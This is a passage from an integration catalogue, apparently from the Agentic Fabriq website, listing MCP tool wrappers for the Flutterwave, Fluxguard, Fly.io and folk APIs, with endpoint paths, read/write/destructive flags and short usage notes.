/payment-plans/{id}/cancel PUT /api/v1/flutterwave/payment-plans/{id}/cancel. Scopes: api. flutterwave_put_payout_subaccounts_by_account_reference (write) — Update a customer's wallet details. via PUT /payout-subaccounts/{account_reference} PUT /api/v1/flutterwave/payout-subaccounts/{account_reference}. Scopes: api. flutterwave_put_product_orders_by_reference (write) — Create an order using the biller code and the product Id via PUT /product-orders/{reference} PUT /api/v1/flutterwave/product-orders/{order_id}. Scopes: api. flutterwave_put_subaccounts_by_id (write) — This section describes how to update a collection subaccount on Flutterwave. via PUT /subaccounts/{id} PUT /api/v1/flutterwave/subaccounts/{id}. Scopes: api. flutterwave_put_subscriptions_by_id_activate (write) — This section describes how to activate a previously cancelled subscription. via PUT /subscriptions/{id}/activate PUT /api/v1/flutterwave/subscriptions/{id}/activate. Scopes: api. flutterwave_put_subscriptions_by_id_cancel (write) — This section describes how to deactivate an active subscription. via PUT /subscriptions/{id}/cancel PUT /api/v1/flutterwave/subscriptions/{id}/cancel. Scopes: api. flutterwave_put_tokens_by_token (write) — This endpoints allow developers update the details tied to a customer's card token. via PUT /tokens/{token} PUT /api/v1/flutterwave/tokens/{token}. Scopes: api. flutterwave_put_virtual_account_numbers_by_order_ref (write) — Update the BVN of existing virtual accounts. via PUT /virtual-account-numbers/{order_ref} PUT /api/v1/flutterwave/virtual-account-numbers/{order_ref}. Scopes: api. ================================================================================ ## Fluxguard URL: https://www.agenticfabriq.com/integrations/fluxguard Section: Integrated Tools Fluxguard — 12 MCP tools Provider key: fluxguard. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fluxguard_delete_account_webhook (write, destructive) — Delete one webhook by `id` -- named in the request BODY, not the path -- so Fluxguard stops POSTing change notifications to it. There is no undo: restoring delivery means registering the URL again, which mints a new id. The monitored pages themselves are untouched, so this stops the notifications rather than the monitoring via DELETE /account/webhook DELETE /api/v1/fluxguard/account/webhook. Scopes: api. fluxguard_delete_site_by_siteid (write, destructive) — DESTRUCTIVE. Delete a monitored site by id. Irreversible: the site's sessions, its pages and every capture and diff Fluxguard has stored under them go with it, and the contract publishes no undelete and no archive. To stop watching ONE page while keeping the site, use `Delete a monitored page`; to stop being notified without deleting anything, delete the webhook via DELETE /site/{siteId} DELETE /api/v1/fluxguard/site/{siteId}. Scopes: api. fluxguard_delete_site_by_siteid_session_by_sessionid_page_by_pageid (write, destructive) — DESTRUCTIVE. Delete one monitored page out of a session. Irreversible: that page's captures and diff history go with it, and the contract publishes no undelete. The site, the session and the session's other pages stay, which makes this the NARROW alternative to `Delete a site` via DELETE /site/{siteId}/session/{sessionId}/page/{pageId} DELETE /api/v1/fluxguard/site/{siteId}/session/{sessionId}/page/{pageId}. Scopes: api. fluxguard_get_account (read) — Read the connected Fluxguard organization's account attributes. The cheapest read on the surface, the one Fluxguard's own documentation offers as its smoke test, and the call this integration probes a pasted key with. Takes no parameters via GET /account GET /api/v1/fluxguard/account. Scopes: api. fluxguard_get_account_category (read) — List every category in the account, returned as an object KEYED BY CATEGORY ID -- not as an array -- each entry carrying its name and whether it groups SITES or PAGES. These ids are what `Add a page to monitor` files a new site under via GET /account/category GET /api/v1/fluxguard/account/category. Scopes: api. fluxguard_get_account_webhook (read) — List the webhooks on the account, each with the URL Fluxguard POSTs change notifications to and the id `Delete a webhook` needs. Returns the whole list in one body -- there is no cursor and no page argument via GET /account/webhook GET /api/v1/fluxguard/account/webhook. Scopes: api. fluxguard_get_account_webhook_sample (read) — Return a sample webhook body -- built from this account's own data, or from stock data when the account is new -- so a receiving endpoint can be written and tested before a real change fires. The payload names the site, session and page, the base URL and file names for the captured html, text, visual and network artifacts and for each diff, the diff summary and diff URL, any alarms that triggered, and whether AI flagged the change via GET /account/webhook/sample GET /api/v1/fluxguard/account/webhook/sample. Scopes: api. fluxguard_get_site_by_siteid_session_by_sessionid_page_by_pageid (read) — Read the stored data Fluxguard holds for one monitored page, addressed by all three of `siteId`, `sessionId` and `pageId` exactly as `Add a page to monitor` returned them via GET /site/{siteId}/session/{sessionId}/page/{pageId} GET /api/v1/fluxguard/site/{siteId}/session/{sessionId}/page/{pageId}. Scopes: api. fluxguard_post_account_category (write) — Create a SITE category from a `name` and get its id back. Fluxguard has two category kinds, site and page, and this call makes the site kind only; the contract publishes no way to rename or delete one afterwards, so a typo is permanent. The returned id is what `Add a page to monitor` takes as `categoryId` via POST /account/category POST /api/v1/fluxguard/account/category. Scopes: api. fluxguard_post_add_page (write) — Put a URL under monitoring. WITHOUT `siteId` and `sessionId` this CREATES a new site and session for it, optionally named with `siteNickname` and filed under a category by `categoryId`, `categoryName` or a list of `categories`; WITH both it adds the page to that existing session instead, and the category arguments are ignored. Returns the `siteId`, `sessionId` and `pageId` that every other site-scoped tool here takes via POST /add-page POST /api/v1/fluxguard/add-page. Scopes: api. fluxguard_post_site_by_siteid_session_by_sessionid_crawl (write) — Start a crawl of one session now instead of waiting for its schedule -- the call to make after adding pages, or to force a fresh capture and comparison. It re-captures the session's pages and diffs them against the previous capture, so it CAN cause webhook deliveries; it creates and removes nothing. Takes no body via POST /site/{siteId}/session/{sessionId}/crawl POST /api/v1/fluxguard/site/{siteId}/session/{sessionId}/crawl. Scopes: api. fluxguard_put_account_webhook (write) — Register a `url` for Fluxguard to POST a change notification to whenever a monitored page changes, and get the webhook's id back. Fluxguard signs each delivery with a `fluxguard-signature` header computed from a SEPARATE secret shown in the org settings; that secret verifies Fluxguard to your endpoint and is not this connection's API key, so nothing is pasted for it here. Read `Get a sample webhook payload` first to see the body your endpoint will receive via PUT /account/webhook PUT /api/v1/fluxguard/account/webhook. Scopes: api. ================================================================================ ## Fly.io URL: https://www.agenticfabriq.com/integrations/flyio Section: Integrated Tools Fly.io — 96 MCP tools Provider key: flyio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. flyio_delete_v1_apps_by_app_name (write, destructive) — Apps delete via DELETE /v1/apps/{app_name} DELETE /api/v1/flyio/v1/apps/{app_name}. Scopes: api. flyio_delete_v1_apps_by_app_name_certificates_by_hostname (write, destructive) — App certificates delete via DELETE /v1/apps/{app_name}/certificates/{hostname} DELETE /api/v1/flyio/v1/apps/{app_name}/certificates/{hostname}. Scopes: api. flyio_delete_v1_apps_by_app_name_certificates_by_hostname_acme (write, destructive) — App certificates acme delete via DELETE /v1/apps/{app_name}/certificates/{hostname}/acme DELETE /api/v1/flyio/v1/apps/{app_name}/certificates/{hostname}/acme. Scopes: api. flyio_delete_v1_apps_by_app_name_certificates_by_hostname_custom (write, destructive) — App certificates custom delete via DELETE /v1/apps/{app_name}/certificates/{hostname}/custom DELETE /api/v1/flyio/v1/apps/{app_name}/certificates/{hostname}/custom. Scopes: api. flyio_delete_v1_apps_by_app_name_ip_assignments_by_ip (write, destructive) — App ip assignments delete via DELETE /v1/apps/{app_name}/ip_assignments/{ip} DELETE /api/v1/flyio/v1/apps/{app_name}/ip_assignments/{ip}. Scopes: api. flyio_delete_v1_apps_by_app_name_machines_by_machine_id (write, destructive) — Machines delete via DELETE /v1/apps/{app_name}/machines/{machine_id} DELETE /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}. Scopes: api. flyio_delete_v1_apps_by_app_name_machines_by_machine_id_lease (write, destructive) — Machines release lease via DELETE /v1/apps/{app_name}/machines/{machine_id}/lease DELETE /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/lease. Scopes: api. flyio_delete_v1_apps_by_app_name_machines_by_machine_id_metadata_by_key (write, destructive) — Machines delete metadata via DELETE /v1/apps/{app_name}/machines/{machine_id}/metadata/{key} DELETE /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/metadata/{key}. Scopes: api. flyio_delete_v1_apps_by_app_name_secretkeys_by_secret_name (write, destructive) — Secretkey delete via DELETE /v1/apps/{app_name}/secretkeys/{secret_name} DELETE /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}. Scopes: api. flyio_delete_v1_apps_by_app_name_secrets_by_secret_name (write, destructive) — Secret delete via DELETE /v1/apps/{app_name}/secrets/{secret_name} DELETE /api/v1/flyio/v1/apps/{app_name}/secrets/{secret_name}. Scopes: api. flyio_delete_v1_apps_by_app_name_volumes_by_volume_id (write, destructive) — Volume delete via DELETE /v1/apps/{app_name}/volumes/{volume_id} DELETE /api/v1/flyio/v1/apps/{app_name}/volumes/{volume_id}. Scopes: api. flyio_delete_v1_postgres_by_postgres_cluster_id (write, destructive) — Postgres delete via DELETE /v1/postgres/{postgres_cluster_id} DELETE /api/v1/flyio/v1/postgres/{postgres_cluster_id}. Scopes: api. flyio_delete_v1_postgres_by_postgres_cluster_id_attachments_by_app_name (write, destructive) — Postgres attachments delete via DELETE /v1/postgres/{postgres_cluster_id}/attachments/{app_name} DELETE /api/v1/flyio/v1/postgres/{postgres_cluster_id}/attachments/{app_name}. Scopes: api. flyio_delete_v1_postgres_by_postgres_cluster_id_databases_by_database_name (write, destructive) — Postgres databases delete via DELETE /v1/postgres/{postgres_cluster_id}/databases/{database_name} DELETE /api/v1/flyio/v1/postgres/{postgres_cluster_id}/databases/{database_name}. Scopes: api. flyio_delete_v1_postgres_by_postgres_cluster_id_databases_by_database_name_extensions_by_extension_name (write, destructive) — Postgres extensions disable via DELETE /v1/postgres/{postgres_cluster_id}/databases/{database_name}/extensions/{extension_name} DELETE /api/v1/flyio/v1/postgres/{postgres_cluster_id}/databases/{database_name}/extensions/{extension_name}. Scopes: api. flyio_delete_v1_postgres_by_postgres_cluster_id_users_by_username (write, destructive) — Postgres users delete via DELETE /v1/postgres/{postgres_cluster_id}/users/{username} DELETE /api/v1/flyio/v1/postgres/{postgres_cluster_id}/users/{username}. Scopes: api. flyio_get_v1_apps (read) — Apps list via GET /v1/apps GET /api/v1/flyio/v1/apps. Scopes: api. flyio_get_v1_apps_by_app_name (read) — Apps show via GET /v1/apps/{app_name} GET /api/v1/flyio/v1/apps/{app_name}. Scopes: api. flyio_get_v1_apps_by_app_name_certificates (read) — App certificates list via GET /v1/apps/{app_name}/certificates GET /api/v1/flyio/v1/apps/{app_name}/certificates. Scopes: api. flyio_get_v1_apps_by_app_name_certificates_by_hostname (read) — App certificates show via GET /v1/apps/{app_name}/certificates/{hostname} GET /api/v1/flyio/v1/apps/{app_name}/certificates/{hostname}. Scopes: api. flyio_get_v1_apps_by_app_name_ip_assignments (read) — App ip assignments list via GET /v1/apps/{app_name}/ip_assignments GET /api/v1/flyio/v1/apps/{app_name}/ip_assignments. Scopes: api. flyio_get_v1_apps_by_app_name_machines (read) — Machines list via GET /v1/apps/{app_name}/machines GET /api/v1/flyio/v1/apps/{app_name}/machines. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id (read) — Machines show via GET /v1/apps/{app_name}/machines/{machine_id} GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_events (read) — Machines list events via GET /v1/apps/{app_name}/machines/{machine_id}/events GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/events. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_lease (read) — Machines show lease via GET /v1/apps/{app_name}/machines/{machine_id}/lease GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/lease. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_memory (read) — Machines get memory via GET /v1/apps/{app_name}/machines/{machine_id}/memory GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/memory. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_metadata (read) — Machines show metadata via GET /v1/apps/{app_name}/machines/{machine_id}/metadata GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/metadata. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_metadata_by_key (read) — Machines get metadata key via GET /v1/apps/{app_name}/machines/{machine_id}/metadata/{key} GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/metadata/{key}. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_ps (read) — Machines list processes via GET /v1/apps/{app_name}/machines/{machine_id}/ps GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/ps. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_versions (read) — Machines list versions via GET /v1/apps/{app_name}/machines/{machine_id}/versions GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/versions. Scopes: api. flyio_get_v1_apps_by_app_name_machines_by_machine_id_wait (read) — Machines wait via GET /v1/apps/{app_name}/machines/{machine_id}/wait GET /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/wait. Scopes: api. flyio_get_v1_apps_by_app_name_secretkeys (read) — Secretkeys list via GET /v1/apps/{app_name}/secretkeys GET /api/v1/flyio/v1/apps/{app_name}/secretkeys. Scopes: api. flyio_get_v1_apps_by_app_name_secretkeys_by_secret_name (read) — Secretkey get via GET /v1/apps/{app_name}/secretkeys/{secret_name} GET /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}. Scopes: api. flyio_get_v1_apps_by_app_name_secrets (read) — Secrets list via GET /v1/apps/{app_name}/secrets GET /api/v1/flyio/v1/apps/{app_name}/secrets. Scopes: api. flyio_get_v1_apps_by_app_name_secrets_by_secret_name (read) — Secret get via GET /v1/apps/{app_name}/secrets/{secret_name} GET /api/v1/flyio/v1/apps/{app_name}/secrets/{secret_name}. Scopes: api. flyio_get_v1_apps_by_app_name_volumes (read) — Volumes list via GET /v1/apps/{app_name}/volumes GET /api/v1/flyio/v1/apps/{app_name}/volumes. Scopes: api. flyio_get_v1_apps_by_app_name_volumes_by_volume_id (read) — Volumes get by id via GET /v1/apps/{app_name}/volumes/{volume_id} GET /api/v1/flyio/v1/apps/{app_name}/volumes/{volume_id}. Scopes: api. flyio_get_v1_apps_by_app_name_volumes_by_volume_id_snapshots (read) — Volumes list snapshots via GET /v1/apps/{app_name}/volumes/{volume_id}/snapshots GET /api/v1/flyio/v1/apps/{app_name}/volumes/{volume_id}/snapshots. Scopes: api. flyio_get_v1_orgs_by_org_slug_machines (read) — Machines org list via GET /v1/orgs/{org_slug}/machines GET /api/v1/flyio/v1/orgs/{org_slug}/machines. Scopes: api. flyio_get_v1_orgs_by_org_slug_volumes (read) — Volumes org list via GET /v1/orgs/{org_slug}/volumes GET /api/v1/flyio/v1/orgs/{org_slug}/volumes. Scopes: api. flyio_get_v1_platform_regions (read) — Platform regions get via GET /v1/platform/regions GET /api/v1/flyio/v1/platform/regions. Scopes: api. flyio_get_v1_postgres (read) — Postgres list via GET /v1/postgres GET /api/v1/flyio/v1/postgres. Scopes: api. flyio_get_v1_postgres_by_postgres_cluster_id (read) — Postgres show via GET /v1/postgres/{postgres_cluster_id} GET /api/v1/flyio/v1/postgres/{postgres_cluster_id}. Scopes: api. flyio_get_v1_postgres_by_postgres_cluster_id_backups (read) — Postgres backups list via GET /v1/postgres/{postgres_cluster_id}/backups GET /api/v1/flyio/v1/postgres/{postgres_cluster_id}/backups. Scopes: api. flyio_get_v1_postgres_by_postgres_cluster_id_databases (read) — Postgres databases list via GET /v1/postgres/{postgres_cluster_id}/databases GET /api/v1/flyio/v1/postgres/{postgres_cluster_id}/databases. Scopes: api. flyio_get_v1_postgres_by_postgres_cluster_id_databases_by_database_name_extensions (read) — Postgres extensions list via GET /v1/postgres/{postgres_cluster_id}/databases/{database_name}/extensions GET /api/v1/flyio/v1/postgres/{postgres_cluster_id}/databases/{database_name}/extensions. Scopes: api. flyio_get_v1_postgres_by_postgres_cluster_id_users (read) — Postgres users list via GET /v1/postgres/{postgres_cluster_id}/users GET /api/v1/flyio/v1/postgres/{postgres_cluster_id}/users. Scopes: api. flyio_get_v1_postgres_by_postgres_cluster_id_users_by_username_credentials (read) — Postgres users credentials via GET /v1/postgres/{postgres_cluster_id}/users/{username}/credentials GET /api/v1/flyio/v1/postgres/{postgres_cluster_id}/users/{username}/credentials. Scopes: api. flyio_get_v1_tokens_current (read) — Current token show via GET /v1/tokens/current GET /api/v1/flyio/v1/tokens/current. Scopes: api. flyio_patch_v1_apps_by_app_name_machines_by_machine_id_metadata (write) — Machines update metadata (PATCH) via PATCH /v1/apps/{app_name}/machines/{machine_id}/metadata PATCH /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/metadata. Scopes: api. flyio_patch_v1_postgres_by_postgres_cluster_id_users_by_username (write) — Postgres users update role via PATCH /v1/postgres/{postgres_cluster_id}/users/{username} PATCH /api/v1/flyio/v1/postgres/{postgres_cluster_id}/users/{username}. Scopes: api. flyio_post_v1_apps (write) — Apps create via POST /v1/apps POST /api/v1/flyio/v1/apps. Scopes: api. flyio_post_v1_apps_by_app_name_certificates_acme (write) — App certificates acme create via POST /v1/apps/{app_name}/certificates/acme POST /api/v1/flyio/v1/apps/{app_name}/certificates/acme. Scopes: api. flyio_post_v1_apps_by_app_name_certificates_by_hostname_check (write) — App certificates check via POST /v1/apps/{app_name}/certificates/{hostname}/check POST /api/v1/flyio/v1/apps/{app_name}/certificates/{hostname}/check. Scopes: api. flyio_post_v1_apps_by_app_name_certificates_custom (write) — App certificates custom create via POST /v1/apps/{app_name}/certificates/custom POST /api/v1/flyio/v1/apps/{app_name}/certificates/custom. Scopes: api. flyio_post_v1_apps_by_app_name_deploy_token (write) — App create deploy token via POST /v1/apps/{app_name}/deploy_token POST /api/v1/flyio/v1/apps/{app_name}/deploy_token. Scopes: api. flyio_post_v1_apps_by_app_name_ip_assignments (write) — App ip assignments create via POST /v1/apps/{app_name}/ip_assignments POST /api/v1/flyio/v1/apps/{app_name}/ip_assignments. Scopes: api. flyio_post_v1_apps_by_app_name_machines (write) — Machines create via POST /v1/apps/{app_name}/machines POST /api/v1/flyio/v1/apps/{app_name}/machines. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id (write) — Machines update via POST /v1/apps/{app_name}/machines/{machine_id} POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_cordon (write) — Machines cordon via POST /v1/apps/{app_name}/machines/{machine_id}/cordon POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/cordon. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_exec (write) — Machines exec via POST /v1/apps/{app_name}/machines/{machine_id}/exec POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/exec. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_lease (write) — Machines create lease via POST /v1/apps/{app_name}/machines/{machine_id}/lease POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/lease. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_memory_reclaim (write) — Machines reclaim memory via POST /v1/apps/{app_name}/machines/{machine_id}/memory/reclaim POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/memory/reclaim. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_metadata_by_key (write) — Machines upsert metadata via POST /v1/apps/{app_name}/machines/{machine_id}/metadata/{key} POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/metadata/{key}. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_restart (write) — Machines restart via POST /v1/apps/{app_name}/machines/{machine_id}/restart POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/restart. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_signal (write) — Machines signal via POST /v1/apps/{app_name}/machines/{machine_id}/signal POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/signal. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_start (write) — Machines start via POST /v1/apps/{app_name}/machines/{machine_id}/start POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/start. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_stop (write) — Machines stop via POST /v1/apps/{app_name}/machines/{machine_id}/stop POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/stop. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_suspend (write) — Machines suspend via POST /v1/apps/{app_name}/machines/{machine_id}/suspend POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/suspend. Scopes: api. flyio_post_v1_apps_by_app_name_machines_by_machine_id_uncordon (write) — Machines uncordon via POST /v1/apps/{app_name}/machines/{machine_id}/uncordon POST /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/uncordon. Scopes: api. flyio_post_v1_apps_by_app_name_secretkeys_by_secret_name (write) — Secretkey set via POST /v1/apps/{app_name}/secretkeys/{secret_name} POST /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}. Scopes: api. flyio_post_v1_apps_by_app_name_secretkeys_by_secret_name_decrypt (write) — Secretkey decrypt via POST /v1/apps/{app_name}/secretkeys/{secret_name}/decrypt POST /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}/decrypt. Scopes: api. flyio_post_v1_apps_by_app_name_secretkeys_by_secret_name_encrypt (write) — Secretkey encrypt via POST /v1/apps/{app_name}/secretkeys/{secret_name}/encrypt POST /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}/encrypt. Scopes: api. flyio_post_v1_apps_by_app_name_secretkeys_by_secret_name_generate (write) — Secretkey generate via POST /v1/apps/{app_name}/secretkeys/{secret_name}/generate POST /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}/generate. Scopes: api. flyio_post_v1_apps_by_app_name_secretkeys_by_secret_name_sign (write) — Secretkey sign via POST /v1/apps/{app_name}/secretkeys/{secret_name}/sign POST /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}/sign. Scopes: api. flyio_post_v1_apps_by_app_name_secretkeys_by_secret_name_verify (write) — Secretkey verify via POST /v1/apps/{app_name}/secretkeys/{secret_name}/verify POST /api/v1/flyio/v1/apps/{app_name}/secretkeys/{secret_name}/verify. Scopes: api. flyio_post_v1_apps_by_app_name_secrets (write) — Secrets update via POST /v1/apps/{app_name}/secrets POST /api/v1/flyio/v1/apps/{app_name}/secrets. Scopes: api. flyio_post_v1_apps_by_app_name_secrets_by_secret_name (write) — Secret create via POST /v1/apps/{app_name}/secrets/{secret_name} POST /api/v1/flyio/v1/apps/{app_name}/secrets/{secret_name}. Scopes: api. flyio_post_v1_apps_by_app_name_volumes (write) — Volumes create via POST /v1/apps/{app_name}/volumes POST /api/v1/flyio/v1/apps/{app_name}/volumes. Scopes: api. flyio_post_v1_apps_by_app_name_volumes_by_volume_id_snapshots (write) — Create volume snapshot via POST /v1/apps/{app_name}/volumes/{volume_id}/snapshots POST /api/v1/flyio/v1/apps/{app_name}/volumes/{volume_id}/snapshots. Scopes: api. flyio_post_v1_platform_placements (write) — Platform placements post via POST /v1/platform/placements POST /api/v1/flyio/v1/platform/placements. Scopes: api. flyio_post_v1_postgres (write) — Postgres create via POST /v1/postgres POST /api/v1/flyio/v1/postgres. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_attachments (write) — Postgres attachments create via POST /v1/postgres/{postgres_cluster_id}/attachments POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/attachments. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_backups (write) — Postgres backups create via POST /v1/postgres/{postgres_cluster_id}/backups POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/backups. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_databases (write) — Postgres databases create via POST /v1/postgres/{postgres_cluster_id}/databases POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/databases. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_databases_by_database_name_extensions (write) — Postgres extensions enable via POST /v1/postgres/{postgres_cluster_id}/databases/{database_name}/extensions POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/databases/{database_name}/extensions. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_fork (write) — Postgres fork via POST /v1/postgres/{postgres_cluster_id}/fork POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/fork. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_restore (write) — Postgres restore via POST /v1/postgres/{postgres_cluster_id}/restore POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/restore. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_users (write) — Postgres users create via POST /v1/postgres/{postgres_cluster_id}/users POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/users. Scopes: api. flyio_post_v1_postgres_by_postgres_cluster_id_users_by_username_rotate_password (write) — Postgres users rotate password via POST /v1/postgres/{postgres_cluster_id}/users/{username}/rotate_password POST /api/v1/flyio/v1/postgres/{postgres_cluster_id}/users/{username}/rotate_password. Scopes: api. flyio_post_v1_tokens_kms (write) — Tokens request kms via POST /v1/tokens/kms POST /api/v1/flyio/v1/tokens/kms. Scopes: api. flyio_post_v1_tokens_oidc (write) — Tokens request oidc via POST /v1/tokens/oidc POST /api/v1/flyio/v1/tokens/oidc. Scopes: api. flyio_put_v1_apps_by_app_name_machines_by_machine_id_memory (write) — Machines set memory limit via PUT /v1/apps/{app_name}/machines/{machine_id}/memory PUT /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/memory. Scopes: api. flyio_put_v1_apps_by_app_name_machines_by_machine_id_metadata (write) — Machines update metadata (PUT) via PUT /v1/apps/{app_name}/machines/{machine_id}/metadata PUT /api/v1/flyio/v1/apps/{app_name}/machines/{machine_id}/metadata. Scopes: api. flyio_put_v1_apps_by_app_name_volumes_by_volume_id (write) — Volumes update via PUT /v1/apps/{app_name}/volumes/{volume_id} PUT /api/v1/flyio/v1/apps/{app_name}/volumes/{volume_id}. Scopes: api. flyio_put_v1_apps_by_app_name_volumes_by_volume_id_extend (write) — Volumes extend via PUT /v1/apps/{app_name}/volumes/{volume_id}/extend PUT /api/v1/flyio/v1/apps/{app_name}/volumes/{volume_id}/extend. Scopes: api. ================================================================================ ## folk URL: https://www.agenticfabriq.com/integrations/folk Section: Integrated Tools folk — 60 MCP tools Provider key: folk. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. folk_delete_v1_companies_company_id (write, destructive) — Delete an existing company in the workspace. Companies are folk's organisation records, linked to people and to deals. DELETE /api/v1/folk/v1/companies/{companyId}. Scopes: api. folk_delete_v1_groups_group_id_members_user_id (write, destructive) — Removes a member from a group. Group members are WORKSPACE USERS with access to a group, not the contacts inside it. A public group is accessible to every workspace member. DELETE /api/v1/folk/v1/groups/{groupId}/members/{userId}. Scopes: api. folk_delete_v1_groups_group_id_object_type_object_id (write, destructive) — Delete an existing deal in the workspace. A group can hold any object type you define -- `Deals` is the default, and `Projects`, `Applications` and so on are custom objects. They all share one set of endpoints under /v1/groups/{groupId}/{objectType}, and `objectType` is the type's name exactly as the folk app spells it (the match is CASE-SENSITIVE). List the group's custom fields for `person` to find the available names. DELETE /api/v1/folk/v1/groups/{groupId}/{objectType}/{objectId}. Scopes: api. folk_delete_v1_interactions_interaction_id (write, destructive) — Delete an existing logged interaction. Imported interactions cannot be deleted. This endpoint is currently in open beta. The API surface may change as we iterate based on feedback. Interactions are the logged history with a contact -- meetings, calls, emails. folk marks the past/upcoming/get/update/delete family OPEN BETA in its own schema, so the surface may change. DELETE /api/v1/folk/v1/interactions/{interactionId}. Scopes: api. folk_delete_v1_notes_note_id (write, destructive) — Delete an existing note in the workspace. Notes are free-text entries attached to a person, company or object. DELETE /api/v1/folk/v1/notes/{noteId}. Scopes: api. folk_delete_v1_people_person_id (write, destructive) — Delete an existing person in the workspace. People are folk's contact records. A person may belong to several groups and several companies at once. DELETE /api/v1/folk/v1/people/{personId}. Scopes: api. folk_delete_v1_reminders_reminder_id (write, destructive) — Delete an existing reminder in the workspace. This endpoint is deprecated since August 13, 2026 and will be removed on February 13, 2027. Please use the Delete a task endpoint instead. DEPRECATED by folk since 13 August 2026 and scheduled for REMOVAL on 13 February 2027; the live response carries a `deprecations` array saying so. Use the Tasks tools instead for anything new -- this one still answers 200 today and will stop. DELETE /api/v1/folk/v1/reminders/{reminderId}. Scopes: api. folk_delete_v1_tasks_task_id (write, destructive) — Delete an existing task in the workspace. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. DELETE /api/v1/folk/v1/tasks/{taskId}. Scopes: api. folk_delete_v1_webhooks_webhook_id (write, destructive) — Delete an existing webhook in the workspace. Webhooks deliver workspace events to a URL you own. The per-webhook signing secret folk returns AT CREATION is shown once and is NOT a folk API credential: it verifies inbound 